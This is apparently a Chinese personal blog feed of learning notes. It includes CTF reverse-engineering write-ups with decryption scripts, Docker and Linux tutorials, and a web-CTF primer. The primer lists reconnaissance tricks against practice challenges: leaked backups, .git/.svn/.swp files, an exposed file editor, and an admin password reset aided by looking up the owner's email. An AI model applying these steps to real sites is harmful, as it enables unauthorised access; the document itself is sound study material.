然后python的话注意要手动溢出& 0xFFFFFFFF

for ch in guess:
    key_str = "sssctf{"+ch  # 8 char
    key = [0]*4
    for i in range(0, 4):
        key[i] = ord(key_str[i*2+1]) | (ord(key_str[i*2]) << 8)
        # TEA解密
        ori = encrypt_data.copy()
        index = 12
        sum = (0x61C88647 * -index) & 0xFFFFFFFF
        while index > 0:
            sum2 = (sum >> 2) & 3
            for i in range(7, -1, -1):
                ori[i] -= ((ori[(i+1) % 8] ^ sum) + (ori[(i-1) % 8] ^ key[sum2 ^ (i & 3)])) ^ (
                    ((4 * ori[(i+1) % 8]) ^ (ori[(i-1) % 8] >> 5)) + ((ori[(i+1) % 8] >> 3) ^ (16 * ori[(i-1) % 8])))
                ori[i] &= 0xFFFFFFFF
            sum += 0x61C88647
            sum &= 0xFFFFFFFF
            index -= 1
        # output:
        decrypted_text = ""
        for value in ori:
            decrypted_text += chr((value >> 24) & 0xFF)
            decrypted_text += chr((value >> 16) & 0xFF)
            decrypted_text += chr((value >> 8) & 0xFF)
            decrypted_text += chr(value & 0xFF)
        print(f"使用密钥 {key_str} 解密结果: {decrypted_text}")
        if decrypted_text.startswith("sssctf{"):
            print(f"找到密钥: {key_str}")
            break

总结

两道题难度差距不小，但核心思想挺像的，都是逆向（字面意思）逆着运行
写等价代码还是很有必要的
在运算中要考虑数据类型比如这道题直接决定了8字节密钥只需要爆破一个字节如果只看char[16]的话可能真的觉得要爆破9个字节

Reverse 做题记录 (1)

LangQi99的博客 — Fri, 11 Apr 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/re1/

题目

题目链接

CTF Show 20

解题

main函数

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  qword_140004618 = (__int64)malloc(0x10ui64);
  qword_140004620 = qword_140004618;
  *(_QWORD *)(qword_140004618 + 8) = 0i64;
  sub_140001020("请输入正确的数字:\n");
  sub_140001080("%lld");
  ((void (__fastcall __noreturn *)())sub_1400010E0)();
}

观察发现是传入flag，然后程序检验flag是否正确

sub_1400010E0进行了一系列运算，我基于猜测对变量进行简单重命名和分析

void __fastcall __noreturn sub_1400010E0(char *input, __int64 a2)
{
  int length; // r9d
  __int64 copy_input; // r8
  char *addr_index; // r10
  char content; // al
  __int64 copy_length; // rbx
  char v7; // cl
  char v8; // [rsp+1Fh] [rbp-3F9h]
  char zero; // [rsp+20h] [rbp-3F8h] BYREF

  length = 0;
  copy_input = (__int64)input;
  if ( input )
  {
    addr_index = &zero;
    do
    {
      ++addr_index; //这里很明显是给一片连续内存写入经过处理后的string_len26
      ++length; //记录长度
      content = string_len26[copy_input + -26 * (copy_input / 26)];
      copy_input /= 26i64;
      *(addr_index - 1) = content; //这里很明显是给一片连续内存写入经过处理后的string_len26
    }
    while ( copy_input );
  }
  copy_length = length;
  while ( copy_length )
  {
    v7 = *(&v8 + copy_length--);
    sub_1400011E0(v7 ^ 7);
  }
  sub_140001220();
}

do
{
    ++addr_index;
    ...
    *(addr_index - 1) = content; 
}
while ( copy_input );

这里很明显是给一片连续内存写入经过处理后的 string_len26

do
{
    content = string_len26[copy_input + -26 * (copy_input / 26)];
    copy_input /= 26i64;
}
while ( copy_input );

这里我看了很久，整理一下逻辑就是，copy_input每次会除以26，然后取出 content

至于 string_len26[copy_input + -26 * (copy_input / 26)]

展开有 copy_input - copy_input这显然不对，因为 copy_input / 26是向下取整的

实际上这个表达式等价于：

$$ x \bmod 26 $$

这是因为：

$$ x - 26 \times \lfloor \frac{x}{26} \rfloor = x \bmod 26 $$

所以这就是个26 进制转换，表是 string_len26

我不知道为什么 $\LaTeX$ 会以不同的形式渲染两遍，可能是 MDX 的渲染机制导致的，这可能导致这部分看起来很奇怪。

如果有大佬知道为什么，请在Issue中告诉我，谢谢。

_QWORD *__fastcall sub_1400011E0(char a1)
{
  _QWORD *addr_result; // rax
  __int64 v3; // rdx

  addr_result = malloc(0x10ui64); // 分配内存 16字节，可存储2个QWORD(每个QWORD为8字节，即64位)
  v3 = qword_140004618; // 获取链表头
  qword_140004618 = (__int64)addr_result; // 更新链表头
  *(_QWORD *)(v3 + 8) = addr_result; // 将新节点添加到链表头部
  *(_BYTE *)v3 = a1; // 设置新节点的值
  addr_result[1] = 0i64; // 设置新节点的下一个节点为NULL
  return addr_result;
}

第一次接触逆向的伪代码，这部分看得也十分吃力，丢给gpt了

告诉我是个 链表，我一看，确实。

不过这部分似乎不重要。

void __noreturn sub_140001220()
{
  __int64 v0; // r9
  int v1; // ecx
  __int64 v2; // rdx
  char v3; // al
  int v4; // r8d
  __int64 v5; // r9
  char v6; // cl
  int v7; // eax

  v0 = qword_140004620;
  v1 = 0;
  v2 = 0i64;
  while ( 1 )
  {
    v3 = *(_BYTE *)v0;
    v4 = v1 + 1;
    v5 = *(_QWORD *)(v0 + 8);
    if ( v3 != aV4pY59[v2 - 1] )
      v4 = v1;
    qword_140004620 = v5;
    if ( !v5 )
      break;
    v6 = *(_BYTE *)v5;
    v7 = v4 + 1;
    v0 = *(_QWORD *)(v5 + 8);
    if ( v6 != aV4pY59[v2] )
      v7 = v4;
    qword_140004620 = v0;
    if ( v0 )
    {
      v2 += 2i64;
      v1 = v7;
      if ( v2 < 14 )
        continue;
    }
    goto LABEL_11;
  }
  v7 = v4;
LABEL_11:
  if ( v7 == 14 )
    sub_1400012E0();
  sub_1400012B0();
}

这里发现 aV4pY59是 ..v4p$$!>Y59-，两位两位取的，判断匹配数是否为14

不过发现这只有13个，少了一个，看代码发现索引从-1开始

这里也是参考了Writeup，前面要补一个 /

代码

s1 = "/..v4p$$!>Y59-"
s2 = ")(*&^%489$!057@#><:2163qwe"

xor7 = [chr(ord(i) ^ 7) for i in s1]
# xor7.reverse()
result = 0
for i in xor7:
    num = s2.index(i)
    result *= 26
    result += num
print(result)

总结

26进制转换
链表

写完blog之后感觉这题也就这样吧，可能还是我太菜了。

Docker 入门

LangQi99的博客 — Wed, 02 Apr 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/docker-starter/

什么是 Docker？

Docker 是一个开源的容器化平台，用于开发、部署和运行应用程序。它允许开发者将应用程序及其依赖项打包到一个轻量级、可移植的容器中，然后可以在任何支持 Docker 的环境中运行。

Docker 与虚拟机的区别

特性	Docker 容器	虚拟机 (VM)
隔离	进程级隔离	完整的硬件级隔离
启动	秒级启动	分钟级启动
性能	接近原生性能	有性能损耗
资源	轻量，共享宿主OS内核	重量级，每个VM有完整OS
大小	通常为MB级别	通常为GB级别
移植	高，跨平台兼容性好	相对较低

核心概念

1. 容器 (Container)

是镜像的运行实例
轻量级、独立、可执行的软件包
包含运行应用所需的所有内容：代码、运行时、系统工具、系统库和设置
容器之间相互隔离

2. 镜像 (Image)

容器的模板，只读文件
包含创建容器所需的所有文件和配置
采用分层存储结构，可复用已有层
通过 Dockerfile 构建

3. Docker 引擎

Docker 的核心组件
包含：
- Docker 守护进程 (dockerd)：长期运行的服务端进程
- Docker 客户端 (docker CLI)：用户与守护进程交互的接口
- REST API：用于程序与守护进程交互

Docker 安装

在 Windows 上安装 Docker

访问官方 Docker 网站：https://www.docker.com/products/docker-desktop/
使用 WSL2 作为后端

Docker 基本命令

容器生命周期管理

docker run - 创建并启动一个新容器

docker run [选项] 镜像名 [命令]

常用选项：
- -d：后台运行（守护态）
- -p 主机端口:容器端口：端口映射
- -v 主机路径:容器路径：挂载数据卷
- --name 容器名：指定容器名称
- -e 环境变量：设置环境变量
- --rm：容器退出后自动删除
示例：

docker run -d -p 8080:80 --name my_nginx nginx

docker stop - 停止运行中的容器

docker stop 容器ID或名称

示例：

docker stop my_nginx

docker rm - 删除已停止的容器

docker rm 容器ID或名称

强制删除运行中的容器：-f
删除所有已停止的容器：

docker rm $(docker ps -aq)

容器查询与操作

docker ps - 查看容器列表

docker ps [选项]

常用选项： -a：显示所有容器（包括已停止的） -q：仅显示容器ID
示例：

docker ps -a

docker logs - 查看容器日志

docker logs 容器ID或名称

实时跟踪日志：-f
显示最后 N 行：--tail N
示例：

docker logs -f my_nginx

docker exec - 在运行中的容器内执行命令

docker exec [选项] 容器ID或名称 命令

常用选项： -it：交互式终端（进入容器）
示例：

docker exec -it my_nginx /bin/bash

docker inspect - 查看容器/镜像的详细信息（JSON 格式）

docker inspect 容器ID/镜像名

示例：

docker inspect my_nginx | grep IPAddress # 查看容器IP

镜像管理

docker images - 列出本地镜像

docker images [选项]

常用选项： -q：仅显示镜像ID
示例：

docker images

docker rmi - 删除本地镜像

docker rmi 镜像ID或名称

强制删除：-f
删除所有镜像（慎用！）：

docker rmi $(docker images -aq)

docker pull - 下载镜像

docker pull 镜像名:标签

docker build - 通过 Dockerfile 构建镜像

docker build -t 镜像名:标签 Dockerfile路径

总结

命令	作用
`docker run`	创建并启动容器
`docker ps`	查看容器列表
`docker stop`	停止容器
`docker rm`	删除容器
`docker images`	列出镜像
`docker rmi`	删除镜像
`docker logs`	查看容器日志
`docker exec`	进入运行中的容器
`docker inspect`	查看容器/镜像的详细信息

网络

换源

最推荐的方式

"registry-mirrors": ["http://docker.m.daocloud.io"]

Docker代理

研究一个小时未果，放弃。

~~打开 Docker Desktop~~
~~点击右上角的设置齿轮图标~~
~~选择 "Resources" → "Proxies"~~
~~在 "HTTP Proxy" 和 "HTTPS Proxy" 字段中输入你的代理地址（例如 http://proxy.example.com:8080）~~
~~如果需要认证，使用格式 http://username:password@proxy.example.com:8080~~
~~点击 "Apply & Restart~~

WSL2代理

修改~/.bashrc

export host_ip=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}')
export http_proxy="http://$host_ip:10804"
export https_proxy="http://$host_ip:10804"
echo "Proxy ON: $http_proxy"

实战测试

拉取

从github拉取excalidraw

git clone https://github.com/excalidraw/excalidraw

也可以直接从dockerhub拉取

docker pull name:tag

构建镜像

docker build -t ec-draw .

运行容器

docker run -d --name my_container -p 8080:80 ec-draw

访问

http://localhost:8080

成功访问

停止

docker stop my_container

注意

以上代码可以运行在windows和wsl2上

Linux 基础

LangQi99的博客 — Thu, 20 Mar 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/linux-base/

文件系统

目录结构

Linux 的目录结构遵循 FHS(Filesystem Hierarchy Standard，文件系统层次结构标准)，常见的顶级目录及其作用如下：

├── bin        # 二进制可执行文件(普通用户常用命令，如 ls, cp)
├── boot       # 启动文件(如内核 vmlinuz、GRUB 引导程序)
├── dev        # 设备文件(如 /dev/sda 硬盘，/dev/null)
├── etc        # 配置文件(系统和服务的配置，如 /etc/passwd)
├── home       # 普通用户的主目录(如 /home/user)
├── lib        # 共享库和内核模块(32 位系统的库)
├── lib64      # 64 位系统的共享库
├── media      # 可移动介质挂载点(如 USB 设备、光盘)
├── mnt        # 临时挂载点
├── opt        # 可选软件包(如第三方应用)
├── proc       # 进程和系统信息的虚拟文件系统(如 /proc/cpuinfo)
├── root       # root 用户的主目录
├── run        # 运行时数据(如 PID 文件、Socket)
├── sbin       # 系统管理命令(如 fdisk, reboot，仅 root 可用)
├── srv        # 服务相关数据(如 Web 服务器数据)
├── sys        # 系统信息的虚拟文件系统(如 /sys/class)
├── tmp        # 临时文件(重启后可能会清除)
├── usr        # 用户级应用程序和库(类似 /usr/bin, /usr/lib)
│   ├── bin    # 用户程序(如 gcc, python)
│   ├── lib    # 共享库文件
│   ├── local  # 本地安装的软件(如 /usr/local/bin)
│   ├── share  # 共享数据(如 /usr/share/man)
├── var        # 可变数据(如日志 /var/log, 邮件 /var/mail)

重点目录

/etc：系统的配置文件目录，所有服务和系统级软件的配置都在这里。
/var/log：日志文件目录，存储系统和应用程序日志，如 syslog、dmesg。
/proc 和 /sys：虚拟文件系统，提供系统信息，如 CPU、内存、进程信息等。
/home 和 /root：普通用户和超级用户的家目录。

路径

绝对路径

从根目录 / 开始，完整地指定文件或目录的位置。例如：

/home/user/documents/file.txt
/etc/nginx/nginx.conf

相对路径

基于当前目录(pwd 查看当前目录)。常用符号：

. 代表当前目录(./file.txt 指当前目录下的 file.txt)。
.. 代表上一级目录(../file.txt 指上一级目录中的 file.txt)。
~ 代表用户的主目录(~/file.txt 相当于 /home/username/file.txt)。示例当前目录的文件：

cat ./file.txt   # 等同于 cat file.txt

上一级目录的文件：

cd ..            # 返回上一级目录
ls ../docs       # 列出上一级目录下 docs 文件夹中的内容

用户主目录的文件：

cd ~             # 进入当前用户的主目录
ls ~/Downloads   # 查看主目录的 Downloads 文件夹

命令行

命令行提示符

命令行提示符是用户与操作系统交互的界面，通常显示当前用户、主机名和当前目录。

命令行提示符的组成部分

用户名：当前登录的用户名
主机名：当前连接的主机名
当前目录：当前所在的目录
命令行提示符：通常是一个 $ 或 # 符号，表示命令行提示符

例如

root@songhahaha:~#

root@songhahaha:~# 是一个 Linux 命令行提示符(prompt)，它包含了以下几个部分：

root：当前用户是 root(超级用户)。root 拥有最高的权限，可以对系统进行任何操作。
@：这是用户名和主机名之间的分隔符。
songhahaha：这表示计算机的主机名(hostname)，在这个例子中，主机名是 songhahaha。
~：这是当前工作目录，~ 表示用户的主目录。在 root 用户的情况下，它表示 /root 目录。
#：这是命令提示符，表示你以超级用户(root)身份登录。普通用户的命令行提示符通常是 $，而 # 表示具有更高权限的超级用户。

总结：

root@songhahaha：当前用户是 root，主机名是 songhahaha。
~：当前所在的目录是用户的主目录(对于 root，通常是 /root)。
#：表示你以超级用户身份(root)在操作。

管道

管道是一种将一个命令的输出作为另一个命令的输入的机制。

ls -l /etc | grep passwd

ps aux | grep process_name

ps aux：

ps：显示当前系统上的进程信息。
a：显示所有用户的进程，而不仅仅是当前用户的。
u：显示进程的详细信息，包括用户名、CPU 和内存使用等。
x：包括没有终端的进程（即后台进程）。这个命令会列出系统中所有进程的详细信息。

|：管道符，用于将前一个命令的输出传递给后一个命令。

grep process_name：

grep：是一个文本搜索工具，它会过滤输入中的内容，并输出与 process_name 匹配的行。
process_name：是你要查找的进程名称。

在这里，grep process_name 会查找所有包含 process_name 的行，即过滤出包含指定进程名称的进程信息。

重定向

重定向是一种将命令输出重定向到文件或设备的方法。

输出重定向：

ls -l /etc > output.txt

或者

ls -l /etc >> output.txt

输入重定向：

cat < input.txt

错误重定向：

ls -l /etc 2> error.txt # 将错误信息输出到 error.txt 文件中
ls -l /etc 2>> error.txt # 将错误信息追加到 error.txt 文件中

同时重定向标准输出和标准错误：

command &> output.txt

后台运行

在命令后面加上 & 符号，可以使命令在后台运行。

command &

nohup 命令可以使命令在后台运行，并且即使退出终端也不会停止。

nohup command &

基础命令

常见命令

--help 命令用于显示命令的帮助信息。
```
ls --help
cat --help
```
ssh 命令用于安全地登录到远程计算机。
```
ssh user@host
```
cd 命令用于切换当前工作目录。
```
cd /path/to/directory
```
ls 命令用于列出目录中的文件。
```
ls /path/to/directory
```
常见选项：
- -l：以长格式显示文件详细信息
- -a：显示所有文件，包括隐藏文件
- -t：按修改时间排序（默认最新的在前）
- -r：反向排序
- -S：按文件大小排序（默认从大到小）
- -R：递归列出所有子目录中的内容
pwd 命令用于显示当前工作目录。
```
pwd
```
cat 命令用于显示文件内容。
```
cat /path/to/file
```
mkdir 命令用于创建新目录。
```
mkdir /path/to/directory
```
rmdir 命令用于删除空目录。
```
rmdir /path/to/directory
```

cp 命令用于复制文件或目录。

cp source_file destination
cp -r source_directory destination # 递归复制目录及其内容

mv 命令用于移动文件或目录。
```
mv source_file destination
```

rm 命令用于删除文件或目录。

rm source_file
rm -r source_directory # 递归删除目录及其内容

touch 命令用于创建空文件或更新文件的访问和修改时间。
```
touch filename
```

tar 命令用于创建、查看和提取归档文件。

# 创建归档文件
tar -cvf archive.tar files/

# 查看归档文件内容
tar -tvf archive.tar

# 提取归档文件
tar -xvf archive.tar

wget/curl 用于下载文件的工具。

# 使用 wget 下载
wget https://example.com/file

# 使用 curl 下载
curl -O https://example.com/file

grep 命令用于在文件中搜索文本。

# 在文件中搜索文本
grep "pattern" file

# 递归搜索目录
grep -r "pattern" directory/

# 忽略大小写
grep -i "pattern" file

ifconfig 命令用于配置和显示网络接口信息。

# 显示所有网络接口
ifconfig

# 显示特定接口
ifconfig eth0

df/du 命令用于显示磁盘使用情况。

# 显示文件系统使用情况
df -h

# 显示目录大小
du -sh directory/

# 显示目录下各文件大小
du -h directory/

ping 命令用于测试网络连接。
```
ping hostname
```

权限和用户管理

chmod

chmod 命令用于更改文件或目录的权限。权限分为三类：所有者（Owner）、所属组（Group）、其他用户（Others）。每个类别可以设置以下权限：
- 读（r）：允许读取文件内容或列出目录内容。
- 写（w）：允许修改文件内容或在目录中创建/删除文件。
- 执行（x）：允许执行文件或进入目录。
权限可以用数字表示：
- 4 代表读权限（r）
- 2 代表写权限（w）
- 1 代表执行权限（x）
通过将这些数字相加，可以设置不同的权限组合。例如：
- 7 表示读、写、执行权限（4+2+1）
- 6 表示读、写权限（4+2）
- 5 表示读、执行权限（4+1）
```
chmod 755 filename
```
- 7（所有者）：读、写、执行权限
- 5（所属组）：读、执行权限
- 5（其他用户）：读、执行权限
chown

chown 命令用于更改文件或目录的所有者和所属组。
```
chown [选项] 所有者[:所属组] 文件或目录
```
```
chown user:group filename
```
- 将 filename 的所有者更改为 user，所属组更改为 group。
chgrp 命令

chgrp 命令用于更改文件或目录的所属组。
```
chgrp [选项] 所属组 文件或目录
```
```
chgrp groupname filename
```
- 将 filename 的所属组更改为 groupname。
umask

umask 命令用于设置默认的文件和目录创建权限。umask 值是一个掩码，用于屏蔽掉某些权限。
```
umask 022
```
- 设置默认的 umask 为 022，表示新创建的文件和目录的权限分别为 644 和 755。
sudo

sudo 命令允许普通用户以超级用户（root）的权限执行命令。通过合理配置 sudoers 文件，可以授予特定用户或组执行特定命令的权限。
```
sudo apt-get update
```
- 以超级用户权限执行 apt-get update 命令。
useradd 和 userdel

useradd 命令用于创建新用户，userdel 命令用于删除用户。
```
sudo useradd newuser
sudo userdel olduser
```
- 创建名为 newuser 的新用户。
- 删除名为 olduser 的用户。
passwd

passwd 命令用于更改用户的密码。
```
passwd username
```
- 更改 username 的密码。
groups 命令

groups 命令用于显示用户所属的组。
```
groups username
```
- 显示 username 所属的组。
usermod 命令

usermod 命令用于修改用户属性，如用户的主目录、登录 shell、所属组等。
```
sudo usermod -aG groupname username
```
- 将 username 添加到 groupname 组中。

进程管理

ps 命令用于显示当前运行的进程。
```
# 显示所有进程
ps aux

# 显示当前用户的进程
ps -ef

# 显示特定进程
ps -p PID

# 查找进程
ps aux | grep process_name
```
- a：显示所有用户的进程。
- u：显示进程的详细信息，包括用户名、CPU 和内存使用等。
- x：包括没有终端的进程（即后台进程）。
- -e：显示所有进程。
- -f：显示完整格式。
输出格式说明:
- PID：进程的 ID。
- TTY：终端类型，表示进程是在哪个终端上运行的。
- TIME：进程使用的 CPU 时间。
- CMD：启动进程的命令。
- %CPU：CPU 占用百分比。
- %MEM：内存占用百分比。
- VSZ：进程使用的虚拟内存大小（KB）。
- RSS：进程使用的实际物理内存大小（KB）。

kill 命令用于终止进程。

# 通过 PID 终止进程
kill PID

# 强制终止进程
kill -9 PID

# 通过进程名终止
pkill process_name

top 命令用于实时显示系统进程状态。

# 启动 top
top

# 按 CPU 使用率排序
top -o %CPU

# 按内存使用率排序
top -o %MEM

CTF Web 入门

LangQi99的博客 — Thu, 20 Mar 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/web-starter/

Case1-注释

Flag在网页源代码注释中

Case2-绕JS

Javascript前台拦截

使用Ctrl+U查看源代码
禁用Javascript

Case3-抓包

直接抓包即可

HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Thu, 20 Mar 2025 13:11:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Flag: flag{xxx}
X-Powered-By: PHP/7.3.11
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 19

web3:where is flag?

Case4-robots.txt

/robots.txt

User-agent: *
Disallow: /flagishere.txt

/flagishere.txt: Flag

/robots.txt 是一个文本文件，通常位于网站的根目录下，用于指示网络爬虫（如搜索引擎的爬虫）如何访问和抓取该网站的内容。它的主要作用是告诉爬虫哪些页面或目录可以抓取，哪些应该避免。

基本格式

/robots.txt 文件通常包含以下内容：

User-agent: [爬虫的名称]
Disallow: [不允许抓取的路径]
Allow: [允许抓取的路径]

User-agent: 指定适用的爬虫名称。* 表示适用于所有爬虫。
Disallow: 指定不允许爬虫访问的路径。可以是一个具体的路径或目录。
Allow: 指定允许爬虫访问的路径。通常与 Disallow 一起使用，用于在禁止的目录中允许某些特定的路径。

Case5-index.phps

<?php

/*
# -*- coding: utf-8 -*-
# @Author: xxx
# @Date:   xxx
# @Last Modified by:   xxx
# @Last Modified time: xxx
# @email: xxx@xxx.com
# @link: xxx

*/

//flag{xxx}
echo "where is flag ?" # 会直接在浏览器显示

index.php

文件类型: PHP 脚本文件。
用途: 这是一个包含 PHP 代码的脚本文件，通常用于生成动态网页内容。当用户访问一个包含 index.php 文件的目录时，Web 服务器（如 Apache 或 Nginx）会执行这个文件，并将生成的 HTML 内容返回给用户的浏览器。
处理方式: Web 服务器会解析并执行 index.php 文件中的 PHP 代码，然后将生成的 HTML 内容发送给客户端。

index.phps

文件类型: PHP 源代码文件。
用途: 这是一个包含 PHP 源代码的文件，通常用于展示 PHP 代码的源代码，而不是执行它。index.phps 文件通常用于教学或文档目的，让开发者可以查看 PHP 代码的结构和内容。
处理方式: 当用户访问 index.phps 文件时，Web 服务器不会执行其中的 PHP 代码，而是将其作为纯文本文件返回给客户端，显示源代码内容。

主要区别

执行方式: index.php 会被服务器执行并生成动态内容，而 index.phps 则会被视为纯文本文件，显示源代码。
用途: index.php 用于生成动态网页，而 index.phps 用于展示 PHP 源代码。

Q & A

那么在后台管理员看到的index.php和index.phps是一样的吗?

查看 index.php 和 index.phps 时，看到的内容是否一样取决于管理员是通过什么方式查看这些文件的：

通过文件管理器或 FTP 查看文件内容是 完全一样的
通过浏览器访问文件看到的内容会 不一样
通过命令行查看文件内容是 完全一样的

Case6-www.zip

访问 www.zip 即可

www.zip 是一个常见的文件名，通常用于压缩和打包网站的文件和目录。它可能包含网站的HTML文件、CSS样式表、JavaScript脚本、图片、以及其他相关资源。通过将这些文件压缩成一个 .zip 文件，可以方便地传输、备份或共享整个网站的内容。

用途

网站备份：开发者可能会将整个网站的内容打包成 www.zip，以便进行备份。
网站迁移：在将网站从一个服务器迁移到另一个服务器时，打包成 .zip 文件可以简化传输过程。
文件共享：将网站文件打包成 .zip 文件后，可以更容易地通过电子邮件或其他方式分享给他人。
下载资源：某些网站可能会提供 www.zip 文件供用户下载，以便离线查看或使用网站内容。

Case7-.git

.git 文件夹是 Git 版本控制系统用来存储与版本控制相关的数据的目录，通常包括配置文件、对象文件和索引文件。正常情况下，.git 文件夹中不会有 index.php 文件。

不知道为什么，我访问 index.php 时，就拿到了flag

Case8-.svn

与Case7类似，访问.svn .svn 是 Subversion（SVN）版本控制系统的工作目录中的隐藏文件夹，类似于 Git 中的 .git 目录。这个文件夹包含了 SVN 用来管理版本控制的所有元数据和文件。

特点

隐藏目录：在大多数操作系统中，.svn 是一个隐藏目录，默认情况下不会显示。
版本控制数据：包含了所有版本控制相关的信息，如文件的历史版本、提交日志等。
每个子目录都有：与 Git 不同，SVN 在工作副本的每个子目录中都会创建一个 .svn 目录。

Case9-.swp

"发现网页有个错别字？赶紧在生产环境vim改下，不好，死机了"

访问index.php.swp

Case10-cookie

在请求数据包cookie看到flag

Case11-TXT 记录

目前不会做

也可能是坠机了

查询域名TXT记录一般指为某个主机名或域名设置的说明

Case12-信息搜集&robots.txt

查看robots.txt文件，找到后台登录地址，用户名admin。密码：在页面的最下方

Case13-信息搜集

在页面下面发现 document 下载发现里面存在后台地址和用户名密码

Case14-editor

访问/editor

可以读取整个服务器文件

Case14-信息搜集

来自题解: 访问/admin页面发现有一个忘记密码操作，需要输入地址在主页面下面看到QQ邮箱，通过QQ号查询邮箱，是西安的修改密码成功，用户名 admin 登录成功获得flag